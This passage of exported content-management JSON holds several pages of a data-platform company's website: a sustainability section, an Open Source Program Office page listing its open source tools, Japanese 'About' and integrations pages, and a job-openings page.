goal."}],"markDefs":[{"_key":"6283ce84023c","_type":"internalLink","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"}},{"_key":"8e0855a39f35","_type":"internalLink","internalLink":{"_ref":"bddb4fef-dc21-4a58-8821-2d8dd3147ca1","_type":"reference"}}],"style":"normal"},{"_key":"9c51cba1d965","_type":"block","children":[{"_key":"5b0f16d531350","_type":"span","marks":[],"text":"Our second goal is achieved by supporting Aiven employees in working for causes that they find meaningful and that represent our own values. One way we do this is by actively supporting our employees’ contributions to open source projects through our Plankton program. We also offer our employees paid leave for volunteering and learning, and regularly donate to charities of their choice."}],"markDefs":[],"style":"normal"},{"_key":"da426ab54189","_type":"block","children":[{"_key":"cfa513bcb7150","_type":"span","marks":[],"text":"We consider all these aspects of our operations an essential part of our sustainability initiative, and we’re committed to further developing these actions."}],"markDefs":[],"style":"normal"},{"_key":"86f86f7c9046","_type":"block","children":[{"_key":"fd033db5a89b0","_type":"span","marks":[],"text":"Recent activities:"}],"markDefs":[],"style":"normal"},{"_key":"f359c3453c41","_type":"block","children":[{"_key":"e57e76c567a3","_type":"span","marks":["a975b96fee3d"],"text":"Sponsorship and mentoring at Women++"},{"_key":"f53997a77571","_type":"span","marks":[],"text":" "}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a975b96fee3d","_type":"internalLink","internalLink":{"_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"}}],"style":"normal"},{"_key":"6bec11d9ca2a","_type":"block","children":[{"_key":"62bc2315f8cd","_type":"span","marks":["648c5894c0e9"],"text":"Development of Klaw, bringing enterprise grade tooling to Apache Kafka® for everyone"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"648c5894c0e9","_type":"internalLink","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}}],"style":"normal"}],"title":"Supporting change","variant":"mediaRight"},{"_key":"ec88400e7d2d","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"08068657a112470ac9f85b7f92a2059f","_ref":"a0816dd6-62f2-4db1-af43-06d23379bd95","_type":"reference"},{"_key":"c9c00f188ba1","_ref":"e5d0d37d-3b26-42ff-8a3c-1136170c9587","_type":"reference"},{"_key":"47afb825efd6","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"f3115d731dbc","_ref":"55268f9c-075b-4cd6-a233-d5ad4c0911b0","_type":"reference"}],"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fe1b84225b91","_type":"block","children":[{"_key":"d5ecfaca9a4b0","_type":"span","marks":[],"text":"Our Sustainability and Social Impact team is full of dedicated Aiveners passionate about realizing our ambitions goals."}],"markDefs":[],"style":"normal"}],"title":"Sustainability and Social Impact team","variant":"default"},{"_key":"1a26456c07be","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","categories":[{"_key":"2fd607ad63ca","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"disabled":false,"fullWidth":false,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"More sustainability posts"}],"infoBanner":{"_ref":"b89eb60d-4b6b-4a40-9e02-cabd7c47f0d0","_type":"reference"},"modals":[],"seo":{"_type":"metaData","metaDescription":"Aiven aims to build sustainable open source data infrastructure for the good of the people and the environment. Find out how.","metaImage":{"_type":"mainImage","alt":"Aiven Sustainability and Social Impact","asset":{"_ref":"image-b38e828faf7221cb872497df1a8d9bbd4cf05c01-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's sustainable practices | Redefining data management"},"slug":{"_type":"slug","current":"/sustainability"},"title":"Sustainability"} {"__i18n_lang":"en","_createdAt":"2022-12-05T15:31:15Z","_id":"bddb4fef-dc21-4a58-8821-2d8dd3147ca1","_rev":"dpHYNqixoqKfXTNyX6GR7Q","_type":"page","_updatedAt":"2024-05-20T10:40:27Z","content":[{"_key":"d7ecf5c17456","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","description":[{"_key":"572d3123a112","_type":"block","children":[{"_key":"0a28781d3d9a0","_type":"span","marks":[],"text":"At Aiven, we want to contribute back to the open source community. To do that, we created an Open Source Program Office (OSPO) – a dedicated team to focus on maintaining the projects businesses around the world depend on."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-3fd9a3a3fecf995cdc906aa1b6a03d00a7851506-1200x1108-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Contributing to a better future","title":"Open Source Program Office","variant":"default"},{"_key":"c24fe57aa0ad","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-5f41a510b641ecb798d5f411400f6206d93bd433-2000x1333-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},"title":"Meet the OSPO team"},"text":[{"_key":"2f884d137e43","_type":"block","children":[{"_key":"a9455adbe2af0","_type":"span","marks":[],"text":"The Aiven OSPO makes sure that the projects we offer as managed services are well maintained. We not only take care of Aiven's OSS projects, we also keep a watchful eye on all open source projects that impact Aiven, actively collaborating with external contributors."}],"markDefs":[],"style":"normal"},{"_key":"e8c95065e552","_type":"block","children":[{"_key":"96fc0eb4a734","_type":"span","marks":[],"text":"Our OSPO team also promotes open source processes and philosophy throughout all our teams at Aiven, helping us all adopt a mindset and environment where we can all contribute to the "},{"_key":"130d6ffbb0c8","_type":"span","marks":["3e2e0ca3c23e"],"text":"open source community"},{"_key":"1965503b48b4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3e2e0ca3c23e","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"}],"title":"What’s an Open Source Program Office?","variant":"mediaLeft"},{"_key":"d49643f1dc95","_type":"iconList","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"89e25a975546","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ce1a3143ad29","_type":"block","children":[{"_key":"f24b780344ae0","_type":"span","marks":[],"text":"Our team makes daily contributions to major projects and related projects in their ecosystem."}],"markDefs":[],"style":"normal"}],"title":"Contribute"},{"_key":"ed4b18b94320","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ab085d541ffda89ec1fd230558a3d8838204a851-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"0e0beb005eeb","_type":"block","children":[{"_key":"99d9935681b90","_type":"span","marks":[],"text":"We make sure that critical open source projects are in good shape – both for Aiven and others."}],"markDefs":[],"style":"normal"}],"title":"Maintain"},{"_key":"6058e393064c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f031c696b7d1e96077b40dee85d180c60d675137-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"00bcf16612c4","_type":"block","children":[{"_key":"b9704aa55ab70","_type":"span","marks":[],"text":"We collaborate with external contributors to keep projects and collaborations running smoothly."}],"markDefs":[],"style":"normal"}],"title":"Collaborate"},{"_key":"392acafdaccc","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e9e415c6c5365b0cdfa6c0d84a6ccec81b7fa967-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"cd5749e55b38","_type":"block","children":[{"_key":"07a5f402f3140","_type":"span","marks":[],"text":"Our OSPO team also promotes open source processes and philosophy at Aiven and elsewhere."}],"markDefs":[],"style":"normal"}],"title":"Promote"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a38e29b3c046","_type":"block","children":[{"_key":"e6fc55bc195a0","_type":"span","marks":[],"text":"From encouraging open source practices to helping set up and maintain new Aiven-owned OSS projects, the OSPO team is at the heart of everything "},{"_key":"a996f24d1cec","_type":"span","marks":["a0efb500a003"],"text":"open source at Aiven"},{"_key":"111f1b73a173","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a0efb500a003","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"}],"title":"What does OSPO do?","variant":"header-left"},{"_key":"3a425f52d3e5","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"items":[{"_key":"672908435abc","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven/pgtracer","title":"Contribute on GitHub"},"subtitle":[{"_key":"89ccadef45db","_type":"block","children":[{"_key":"d839f2f80d990","_type":"span","marks":[],"text":"A collection of tools to trace queries, execution plans and more in PostgreSQL®, using eBPF."}],"markDefs":[],"style":"normal"}],"tagline":"PostgreSQL®","title":"PGTracer","variant":"default"},{"_key":"a9073a674db9ecddc3a51cd6cc68f00b","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven/guardian-for-apache-kafka","title":"Contribute on GitHub"},"subtitle":[{"_key":"cb063fcae750","_type":"block","children":[{"_key":"90fe95cbebeb0","_type":"span","marks":[],"text":"A backup and restore tool for Apache Kafka clusters. It is designed to continuously stream Kafka topics into persistent/object storages such as S3, and provides tools for restoring backups."}],"markDefs":[],"style":"normal"}],"tagline":"Apache Kafka®","title":"Guardian","variant":"default"},{"_key":"20b8bc9bc79cdbe2ab62488cf21e0a02","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven/klaw","title":"Contribute on GitHub"},"subtitle":[{"_key":"601672604112","_type":"block","children":[{"_key":"0ddd778b10730","_type":"span","marks":[],"text":"Klaw, the latest OS tool by Aiven, helps enterprises cope with Kafka topics, schema registry and connectors governance by introducing roles/authorizations to users and teams."}],"markDefs":[],"style":"normal"}],"tagline":"Apache Kafka®","title":"Klaw","variant":"default"},{"_key":"813805df474f6079e40199c1403bf2b8","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven/prometheus-exporter-plugin-for-opensearch","title":"Contribute on GitHub"},"subtitle":[{"_key":"bb4afae08dbb","_type":"block","children":[{"_key":"d62feff84a0a0","_type":"span","marks":[],"text":"Our Prometheus® exporter plugin for OpenSearch® exposes many OpenSearch metrics in Prometheus format."}],"markDefs":[],"style":"normal"}],"tagline":"OpenSearch®","title":"Prometheus exporter","variant":"default"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"001c71c89e24","_type":"block","children":[{"_key":"5881673402dd0","_type":"span","marks":[],"text":"Check out the projects our team is currently contributing to – and contribute yourself at "},{"_key":"6af00fa00dc0","_type":"span","marks":["a538163a87a9"],"text":"Github"},{"_key":"70fb86e10323","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a538163a87a9","_type":"link","href":"https://github.com/aiven"}],"style":"normal"}],"tagline":"Open source contributions","title":"OSPO’s open source projects"},{"_key":"ce5968cb9c7f","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"2ac0a4d77ac160f25f7c0dc9b7271250","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"e7b0c986934e","_ref":"feea409b-a0cc-41a1-b4fe-f57fe1a5db5a","_type":"reference"},{"_key":"651bc2ecde1e","_ref":"e1afff0d-cbdf-4500-acac-b43fb0ca6bbc","_type":"reference"},{"_key":"728e4063c4bb","_ref":"2337cc95-224b-4a99-a396-7bdcd1d5c77f","_type":"reference"},{"_key":"7fe6066373c0","_ref":"0beaf35d-9499-44f6-819b-3cdc512b7e17","_type":"reference"},{"_key":"f06a3a7606bb","_ref":"c95e16f7-63c0-4057-83be-808a7ec98250","_type":"reference"},{"_key":"66f9e6053bba","_ref":"472779b2-39dc-440c-bbb2-931033b21460","_type":"reference"},{"_key":"264fb95aed8c","_ref":"85065550-aa7e-446d-a6a8-21e2350235eb","_type":"reference"},{"_key":"8d7e3b2647e4","_ref":"4c8c25d2-c722-4e29-8ebe-31481e8c17ad","_type":"reference"},{"_key":"b9cc49274db6","_ref":"44487b95-68c0-4b10-a75c-527f0f9a9eb8","_type":"reference"},{"_key":"ad113ffe83d8","_ref":"ab5041ab-a50e-424c-b6be-482e6c0ae742","_type":"reference"},{"_key":"7ee75319b2f3","_ref":"58b355fc-50d2-437c-a3a5-13b670b20e7f","_type":"reference"},{"_key":"8a090fa286f8","_ref":"0c3e3b0b-7c53-423e-9be2-4383a1ceba5b","_type":"reference"},{"_key":"451197b31f9b","_ref":"6f0e3beb-cde1-4c25-bac5-5f06ca7efd82","_type":"reference"},{"_key":"65406ffc8cd2","_ref":"24b0e69d-04af-4f3d-bd2a-8dad8174c610","_type":"reference"}],"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"003bc4a8e481","_type":"block","children":[{"_key":"00f0ab4ed69c0","_type":"span","marks":[],"text":"Meet the team keeping the code alive"}],"markDefs":[],"style":"normal"}],"title":"Aiven’s OSPO team"},{"_key":"01fb298c2a85","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"backgroundPosition":"center center","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-3539325a89681566132a87fcfc35bfb0262870ff-1263x1263-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"mailto:ospo@aiven.io","title":"Contact OSPO"},"text":[{"_key":"c1a338f98e37","_type":"block","children":[{"_key":"0b9471aef8200","_type":"span","marks":[],"text":"Got a project you need help to maintain? \nWant to discuss a collaboration? \nLooking for advice? "}],"markDefs":[],"style":"normal"},{"_key":"72e4ba0cabe6","_type":"block","children":[{"_key":"09bb48c3d770","_type":"span","marks":[],"text":"We’d love to hear from you."}],"markDefs":[],"style":"normal"}],"title":"Get in touch with OSPO","variant":"mediaLeft"},{"_key":"c2a326db9a75","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","categories":[{"_key":"03f99720559c","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"disabled":false,"fullWidth":true,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Read more about open source at Aiven"}],"infoBannerPosition":"bottom","seo":{"_type":"metaData","metaDescription":"Aiven’s Open Source Program Office contributes to the open source community by maintaining projects that businesses depend on. Find out how.","metaImage":{"_type":"mainImage","alt":"Aiven Open Source Program Office – diverse hands connect jigsaw pieces","asset":{"_ref":"image-a6db2ce04e634c9ed72c77e271b5b95bdc102c62-1200x630-jpg","_type":"reference"}},"metaTitle":"Open Source Program Office | Aiven"},"slug":{"_type":"slug","current":"/open-source-program-office"},"title":"Open Source Program Office"} {"__i18n_base":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-15T10:09:18Z","_id":"c79a4329-7549-48d7-90d2-617da8070ffd__i18n_ja","_rev":"kXxs8oM5xmhZ4H9SjVbjpX","_type":"page","_updatedAt":"2024-11-22T10:51:57Z","content":[{"_key":"6fdba4835683","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"7cf922f09a8e","_type":"block","children":[{"_key":"f083c4c2f0f20","_type":"span","marks":[],"text":"オープンソースの最先端テクノロジーを活用し、優れたデータ集約型アプリケーションを開発するために必要とされる継続的なイノベーションを促進するお手伝いをします。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"title":"Aivenについて","variant":"compact"},{"_key":"db3acb64120c","_type":"textImage","addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-2e31ce03fd6683ec6ba163b38857a99f6e0d9b47-3000x2000-jpg","_type":"reference"}},"narrowImage":false,"rounded":false,"text":[{"_key":"28189262480b","_type":"block","children":[{"_key":"8c843d8ad2a40","_type":"span","marks":[],"text":"Aivenの創業者は、F-SecureやNokiaなどの企業において、ミッションクリティカルなデータインフラを管理する経験と専門知識を得てきました。彼らは、クラウドの導入が進んでいるにもかかわらず、インフラのソリューションが独自のものであったり、ビジネスの成果に結びつけにくいものであったりすることに気づいたのです。"}],"markDefs":[],"style":"normal"},{"_key":"47658c728691","_type":"block","children":[{"_key":"ffe4d6bbf3840","_type":"span","marks":[],"text":"そこで彼らは独立し、企業が最新のデータインフラを構築するために利用できる、真のオープンソースデータクラウドを構築しました。Aivenによって、企業はプロトタイピングからグローバル規模への拡張までが可能になり、より速いスピードで成長することができるようになります。"}],"markDefs":[],"style":"normal"}],"title":"Aivenの始まり","variant":"mediaLeft"},{"_key":"4c9a227e0b35","_type":"numberList","addSpaceBottom":true,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"086d7ec16722","_type":"numberItem","description":[{"_key":"1199d0af1aa3","_type":"block","children":[{"_key":"9581864af6a90","_type":"span","marks":[],"text":"オープンソース製品"}],"markDefs":[],"style":"normal"}],"number":"11"},{"_key":"8303d4092191","_type":"numberItem","description":[{"_key":"7a86caf3f246","_type":"block","children":[{"_key":"afefa3733a790","_type":"span","marks":[],"text":"展開地域"}],"markDefs":[],"style":"normal"}],"number":"100+"},{"_key":"c2a13c793e76","_type":"numberItem","description":[{"_key":"8fec8e7e6477","_type":"block","children":[{"_key":"612455f9ea110","_type":"span","marks":[],"text":"クラウド対応"}],"markDefs":[],"style":"normal"}],"number":"5"}],"rounded":true,"subtitle":[{"_key":"e42d44fe2010","_type":"block","children":[{"_key":"5c9b65c98a1c0","_type":"span","marks":[],"text":"Aivenは、お客様のデータベース要件に対応するための製品、グローバル展開、およびエンタープライズ規模の処理能力を有しています。"}],"markDefs":[],"style":"normal"}],"title":"グローバル展開、エンタープライズ規模"},{"_key":"42xy678a1hcqokhngus6sd1dlju3gb7n","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"tgirff7f7htw0b9zyhbl97dj0iipo6yk","_type":"tabItem","content":[{"_key":"nwend31gl3x36ioeriuiz9g6ecq7f5vh","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"185pjbjopilgovn35s92vfkdo3o7zh5w","_ref":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_type":"reference"},{"_key":"wi0ta877t6mcq6b4gc6wmun0fz5xzs86","_ref":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_type":"reference"},{"_key":"neanknva8d76qfhwzc8s003m6mv3b5e3","_ref":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_type":"reference"},{"_key":"1eb6hk3pz7vwfaagm36nheid1oy53bzt","_ref":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"eu","imageHeight":35,"title":"ヨーロッパ"},{"_key":"8tfzsg9trh36ltalfx5s54ryysho5020","_type":"tabItem","content":[{"_key":"6kj0vx1pe7x4hobf31q4zwkalfight24","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"cyfezgstvfjyjvr3si89eu4asyq7xwgr","_ref":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_type":"reference"},{"_key":"woqyw59cr4secr05mi6mlrlijf0ipsxv","_ref":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"apac","imageHeight":35,"title":"アジア太平洋"},{"_key":"zl7cruhge9dcmhe5g4kohiaszhp70on5","_type":"tabItem","content":[{"_key":"tjtk8xn1emq1klhpktmqbxu4dh3hvrf9","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"670ab3573034e3022f178ecf72a8a027","_ref":"ee969257-7237-47ac-9037-8936af527670","_type":"reference"},{"_key":"8jyvdjz3c0tc9z435zvcwubosk2ufgxs","_ref":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"amer","imageHeight":35,"title":"北米"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b364f4ef68db","_type":"block","children":[{"_key":"69c6130317220","_type":"span","marks":[],"text":"ヘルシンキに本社を置き、主要都市にオフィスを構え、その他複数の地域にメンバーを配置するグローバルチームです。"}],"markDefs":[],"style":"normal"}],"title":"Aivenはグローバルチームです","variant":"button-toggle"},{"_key":"e4a8711bb7fc","_type":"avatarList","avatars":[{"_key":"71c3fdd97fc4","_ref":"78a639df-9b11-4823-9b95-88a5a8ecf9cd","_type":"reference"},{"_key":"ded091eb1307a4408c54ce3ad9b97a17","_ref":"69b9b790-a437-4e37-b369-bc45d8ab20fc","_type":"reference"},{"_key":"bd74a50b2361239b034973cdf9b7fac5","_ref":"a0816dd6-62f2-4db1-af43-06d23379bd95","_type":"reference"},{"_key":"77c2f71f6500b32bde3e5cd593262dc6","_ref":"0ea12376-56da-4d7f-a2db-a547576f273a","_type":"reference"},{"_key":"157041f18eca","_ref":"76ca6172-29ec-4df1-a203-eb626cc1925e","_type":"reference"},{"_key":"8f037945a7e05976a4e72f575b8fcaee","_ref":"a7956adf-2fa4-4ff8-9db0-cfb955f6f2ca","_type":"reference"},{"_key":"13b319d384a0","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"},{"_key":"4247fe08564f","_ref":"d8ba49d5-3150-48bf-9bb6-a7f6661f1208","_type":"reference"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"経営陣","variant":"default"},{"_key":"7a632013953a","_type":"avatarList","avatars":[{"_key":"1b26d7c27e90","_ref":"7f1327ed-b16a-479d-8605-d8e0ac94d9af","_type":"reference"},{"_key":"175115e6e83d","_ref":"59d13ba9-fd83-41a6-b147-2a9a02c89f12","_type":"reference"},{"_key":"3050597be953","_ref":"a15ebf67-fe8b-432e-8022-5d3433feb433","_type":"reference"},{"_key":"7cfdb408a392","_ref":"1f7684bb-1bf1-461e-9e6b-935ca01e6fbb","_type":"reference"},{"_key":"fe9b9d473727","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"取締役会"}],"seo":{"_type":"metaData","metaDescription":"Aivenのオープンソースクラウドデータプラットフォームは、イノベーション、生産性、収益性の向上を可能にします。開発者は世の中を変えるアプリケーションの構築に専念することができます。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4ad07b9ba92fc2d8458db190b79c9271d2de5760-1200x630-jpg","_type":"reference"}},"metaTitle":"Aivenについて"},"slug":{"_type":"slug","current":"/about"},"title":"JA About"} {"__i18n_lang":"en","_createdAt":"2022-09-17T18:56:52Z","_id":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_rev":"Do3156plRwIXmiihO5PuCT","_type":"page","_updatedAt":"2023-12-21T17:04:58Z","content":[{"_key":"f0e90c84862f","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","breadcrumbs":{"currentPage":"Job openings","parentPage":{"_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"}},"darkTheme":false,"description":[{"_key":"9afc81af48f3","_type":"block","children":[{"_key":"5f81a8d0e9ca0","_type":"span","marks":[],"text":"We are growing! And that means we're hiring people all across the organization. Use filters to sort out current openings and find your perfect fit. For more information about Aiven as an employer, visit our "},{"_key":"df4165e0c6bd","_type":"span","marks":["995f2ba26e92"],"text":"careers page"},{"_key":"06982e9b7ac0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"995f2ba26e92","_type":"internalLink","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"}}],"style":"normal"}],"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Open positions","variant":"compact"}],"seo":{"_type":"metaData","metaDescription":"See the list of our open positions and build your unique success story.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4093ea27c4f25b15a145ffbe0df6630e2c2d3729-1921x1080-jpg","_type":"reference"}},"metaTitle":"Careers \u0026 Jobs at Aiven | Join our team today!"},"slug":{"_type":"slug","current":"/careers/job"},"title":"Careers Job"} {"__i18n_base":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-08-12T12:55:57Z","_id":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_rev":"bH41C32nCYYyBv2hLCnu3C","_type":"page","_updatedAt":"2024-10-24T14:04:05Z","content":[{"_key":"3d4e66be1f11","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"ef88e436d80a","_type":"block","children":[{"_key":"07254cd46f820","_type":"span","marks":[],"text":"モニタリング、オーケストレーション、データ統合等、お客様の必要に応じて、Aivenのサービスを既存のインフラへ迅速に統合するために必要なコネクタをご用意しました。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-217ebf74b2f64043e02cfa3b1783ccf3b440c632-2500x2500-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations","title":"ドキュメントを見る"},"title":"Aivenの統合とコネクタ","variant":"default"},{"_key":"d409828eccbd","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"f2420a58c232","_type":"scrollSpyNavItem","sectionId":"metrics","title":"メトリクス"},{"_key":"6b8c6a9c2b22","_type":"scrollSpyNavItem","sectionId":"logs","title":"ログ"},{"_key":"85184d501687","_type":"scrollSpyNavItem","sectionId":"kafka-connectors","title":"Aiven for Apache Kafka®コネクタ"},{"_key":"13044d24316e","_type":"scrollSpyNavItem","sectionId":"clickhouse","title":"ClickHouse®"},{"_key":"12583c984a9e","_type":"scrollSpyNavItem","sectionId":"devops","title":"DevOpsツール"},{"_key":"5e1332312c43","_type":"scrollSpyNavItem","sectionId":"postgresql","title":"Aiven for PostgreSQL®の拡張機能"}],"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Scrollspy"},{"_key":"3a8eda47680a","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a7c0a9bdc1885326e65b816f64432a15cf633673-1650x1272-png","_type":"reference"}},"noSpaceBottom":true,"rounded":false,"text":[{"_key":"f52885ceb3e5","_type":"block","children":[{"_key":"cd7a494bb6900","_type":"span","marks":[],"text":"Aivenはサービスの状態を自動的に管理し、サービスが限界に達するかなり前に "},{"_key":"cd7a494bb6901","_type":"span","marks":["8cd386d0d33c"],"text":"アラートを送信"},{"_key":"cd7a494bb6902","_type":"span","marks":[],"text":" 